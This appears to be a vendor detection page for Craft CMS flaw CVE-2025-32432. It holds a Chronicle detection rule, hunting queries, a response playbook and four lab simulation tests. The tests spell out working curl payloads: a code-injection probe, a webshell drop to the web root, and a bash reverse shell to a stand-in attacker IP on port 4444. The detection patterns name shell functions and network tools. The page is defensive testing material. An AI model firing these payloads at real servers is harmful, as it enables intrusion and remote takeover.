Detect CVE-2025-32432: Craft CMS Remote Code Injection in Google Chronicle
Detects exploitation of CVE-2025-32432, a critical code injection vulnerability (CWE-94) in Craft CMS that allows remote attackers to execute arbitrary code. This vulnerability is actively exploited in the wild (CISA KEV) and targets Craft CMS installations via malicious template or input injection vectors.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
YARA-L Detection Query
rule craft_cms_cve_2025_32432_code_injection {
meta:
author = "df00tech Detection Engineering"
description = "Detects CVE-2025-32432 Craft CMS code injection exploitation attempts"
severity = "CRITICAL"
priority = "HIGH"
cve = "CVE-2025-32432"
mitre_attack = "T1190, T1059, T1505.003"
events:
$http.metadata.event_type = "NETWORK_HTTP"
$http.network.http.method = "POST"
(
re.regex($http.network.http.request_url, `(?i)/actions/|/admin/|/index\.php`)
)
(
re.regex($http.network.http.request_url, `(?i)phpinfo|base64_decode|eval\(|system\(|exec\(|assert\(|passthru\(|shell_exec\(`)
or re.regex($http.network.http.request_body, `(?i)phpinfo|base64_decode|eval\(|system\(|exec\(|assert\(`)
)
condition:
$http
} Chronicle YARA-L rule detecting HTTP POST requests to Craft CMS paths with PHP code injection patterns consistent with CVE-2025-32432 exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Security assessment tools probing Craft CMS for CVE-2025-32432 as part of authorized vulnerability management
- CI/CD pipelines that POST PHP template content to Craft CMS staging environments
- Threat hunting exercises replaying known exploit payloads from intelligence feeds
Other platforms for CVE-2025-32432
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2025-32432 PHP Info Probe via Craft CMS Action Endpoint
Expected signal: HTTP POST to /actions/test with 'phpinfo()' in request body; web server access log entry; potential 200 response with PHP environment disclosure
- Test 2CVE-2025-32432 Base64-Encoded Command Injection
Expected signal: HTTP POST to /actions/users/login with 'base64_decode' in POST body; web server log capturing encoded payload; potential process spawn of 'id' command from php parent
- Test 3CVE-2025-32432 Webshell Drop via File Write Injection
Expected signal: POST to /actions/ with file_put_contents payload; new file 'shell.php' created in web root with anomalous timestamp; subsequent GET to /shell.php with cmd parameter; process execution of 'id' spawned from PHP
- Test 4CVE-2025-32432 Reverse Shell Payload Simulation
Expected signal: HTTP POST to Craft CMS action endpoint with bash reverse shell command in body; outbound TCP connection from web server to attacker IP on port 4444; process tree showing bash spawned from php parent; network flow anomaly for web server initiating outbound connection
Response Playbook
Triage
- Identify the source IP of the POST request and correlate it against threat intelligence feeds for known malicious actors, Tor exit nodes, or scanning infrastructure.
- Review the full HTTP request including headers, URI path, query string, and POST body to determine the injected payload and its intended effect (e.g., phpinfo probe vs. reverse shell vs. webshell drop).
- Check the HTTP response code: a 200 response to a code injection POST strongly indicates successful exploitation; 500 may indicate partial success or error-based disclosure.
- Identify the Craft CMS version on the targeted host and confirm whether it falls within the affected version range per the vendor advisory at https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432.
Containment
- If exploitation is confirmed or strongly suspected, isolate the affected web server from the network immediately to prevent lateral movement, C2 beacon establishment, or data exfiltration.
- Block the source IP(s) at the perimeter WAF/firewall and create a temporary deny rule scoped to Craft CMS action endpoints (/actions/, /admin/) for all external traffic pending patch deployment.
Evidence Collection
- Preserve full web server access logs (IIS, Apache, or Nginx) from at least 72 hours prior to the first detected event, capturing raw request bodies where available.
- Collect a filesystem snapshot of the Craft CMS installation directory (especially /templates/, /web/, /storage/, and plugin directories) to identify dropped webshells, modified templates, or new files.
- Capture running process list, network connections, and scheduled tasks/cron jobs from the affected host at time of isolation.
Escalation Criteria
- !Escalate to incident response if any web server child process (sh, bash, python, curl, wget) is observed after the injection event, indicating successful remote code execution.
- !Escalate immediately if outbound connections are observed from the web server to external IPs on non-standard ports, or if a webshell file is discovered in any publicly accessible directory.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing POST to /actions/ or /admin/ endpoints with PHP function names in query or body - >
Craft CMS /storage/logs/ directory for application-level error logs revealing injection context - >
Filesystem timestamps on /web/, /templates/, and plugin directories for newly created or modified .php files - >
OS-level process accounting (auditd, Windows Event ID 4688) for child processes spawned by php or php-fpm - >
Network flow records showing outbound connections from the web server host post-exploitation
Tuning Guidance
Start by allowlisting known Craft CMS health check and monitoring endpoints that generate legitimate POST traffic to /actions/. Reduce false positives from scanners by correlating with threat intel IP reputation feeds and excluding IPs from known security vendors. If Craft CMS runs behind a WAF, consider pivoting detection to WAF block/alert events tagged with CVE-2025-32432 signatures rather than raw HTTP logs. Adjust the process ancestry detection to exclude known-good Craft CMS CLI operations (queue workers, migrations) by filtering on specific CommandLine patterns such as 'craft queue/run' or 'craft migrate'.
Hunting Queries
Hunt for repeated successful POST requests to Craft CMS action and admin endpoints from the same source IP over the past 7 days, which may indicate automated exploitation or iterative payload testing.
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem has_any ("/actions/", "/admin/")
| where csMethod == "POST"
| where scStatus == 200
| summarize count() by csClientIP = cIP, csUriStem, bin(TimeGenerated, 1h)
| where count_ > 5
| order by count_ desc index=web sourcetype=iis method=POST (uri_path="*/actions/*" OR uri_path="*/admin/*") status=200
| bin _time span=1h
| stats count by src_ip, uri_path, _time
| where count > 5
| sort -count Hunt for shell or utility processes spawned by web server or PHP parent processes on hosts running Craft CMS, which indicates successful code execution following CVE-2025-32432 exploitation.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("php", "php-fpm", "php8.1", "php8.2", "httpd", "apache2", "nginx")
| where FileName in~ ("sh", "bash", "dash", "python", "python3", "curl", "wget", "nc", "perl", "ruby")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc index=endpoint sourcetype=crowdstrike:events:sensor event_type=ProcessRollup2
| where ParentBaseFileName IN ("php", "php-fpm", "apache2", "httpd", "nginx")
| where FileName IN ("sh", "bash", "python3", "curl", "wget", "nc")
| table _time, ComputerName, ParentBaseFileName, FileName, CommandLine
| sort -_time Atomic Red Team Tests
Simulates the initial reconnaissance phase of CVE-2025-32432 exploitation by sending a POST request containing a phpinfo() payload to a Craft CMS action endpoint to confirm PHP execution.
Command
curl -s -X POST 'http://TARGET_HOST/actions/test' -H 'Content-Type: application/x-www-form-urlencoded' --data 'payload=phpinfo()&siteToken=TEST' -o /tmp/craft_probe_response.html && grep -i 'PHP Version' /tmp/craft_probe_response.html Cleanup
rm -f /tmp/craft_probe_response.html Expected Telemetry
HTTP POST to /actions/test with 'phpinfo()' in request body; web server access log entry; potential 200 response with PHP environment disclosure
Expected Detection
kql/spl/chronicle rules trigger on POST to /actions/ endpoint containing 'phpinfo' string
Simulates an attacker using base64-encoded payloads to bypass naive string matching filters while exploiting CVE-2025-32432 code injection in Craft CMS.
Command
PAYLOAD=$(echo -n 'system(id);' | base64) && curl -s -X POST 'http://TARGET_HOST/actions/users/login' -H 'Content-Type: application/x-www-form-urlencoded' --data "loginName=admin&password=test&payload=base64_decode('${PAYLOAD}')" -D /tmp/craft_b64_headers.txt -o /tmp/craft_b64_response.html Cleanup
rm -f /tmp/craft_b64_headers.txt /tmp/craft_b64_response.html Expected Telemetry
HTTP POST to /actions/users/login with 'base64_decode' in POST body; web server log capturing encoded payload; potential process spawn of 'id' command from php parent
Expected Detection
kql/spl rules trigger on 'base64_decode' in POST body; crowdstrike_cql triggers if 'id' or 'sh' spawned from php parent process
Simulates post-exploitation persistence by injecting a PHP payload that writes a webshell to the Craft CMS web root, representative of attacker behavior following successful CVE-2025-32432 exploitation.
Command
curl -s -X POST 'http://TARGET_HOST/actions/app/test' -H 'Content-Type: application/x-www-form-urlencoded' --data 'payload=file_put_contents("/var/www/html/web/shell.php","<?php system($_GET[cmd]); ?>")&csrf=TESTTOKEN' -o /tmp/craft_shell_response.html && curl -s 'http://TARGET_HOST/shell.php?cmd=id' -o /tmp/craft_shell_exec.html && cat /tmp/craft_shell_exec.html Cleanup
rm -f /tmp/craft_shell_response.html /tmp/craft_shell_exec.html; curl -s -X DELETE 'http://TARGET_HOST/shell.php' || rm -f /var/www/html/web/shell.php Expected Telemetry
POST to /actions/ with file_put_contents payload; new file 'shell.php' created in web root with anomalous timestamp; subsequent GET to /shell.php with cmd parameter; process execution of 'id' spawned from PHP
Expected Detection
Process ancestry detection triggers on 'id' or 'sh' spawned from php/apache; filesystem monitoring alerts on new .php file in /web/; web log detection triggers on file_put_contents in POST body
Simulates an attacker using CVE-2025-32432 to establish a reverse shell from the Craft CMS server back to attacker infrastructure. Run in isolated lab with listener on attacker machine.
Command
ATTACKER_IP=10.0.0.99 && ATTACKER_PORT=4444 && curl -s -X POST 'http://TARGET_HOST/actions/app/health-check' -H 'Content-Type: application/x-www-form-urlencoded' --data "payload=system('bash -c \"bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1\"')&token=test" Cleanup
Kill any bash processes spawned on target; close netcat listener on attacker machine Expected Telemetry
HTTP POST to Craft CMS action endpoint with bash reverse shell command in body; outbound TCP connection from web server to attacker IP on port 4444; process tree showing bash spawned from php parent; network flow anomaly for web server initiating outbound connection
Expected Detection
crowdstrike_cql and elastic_eql sequence rules trigger on bash spawned from php parent; network monitoring alerts on outbound connection from web server on non-standard port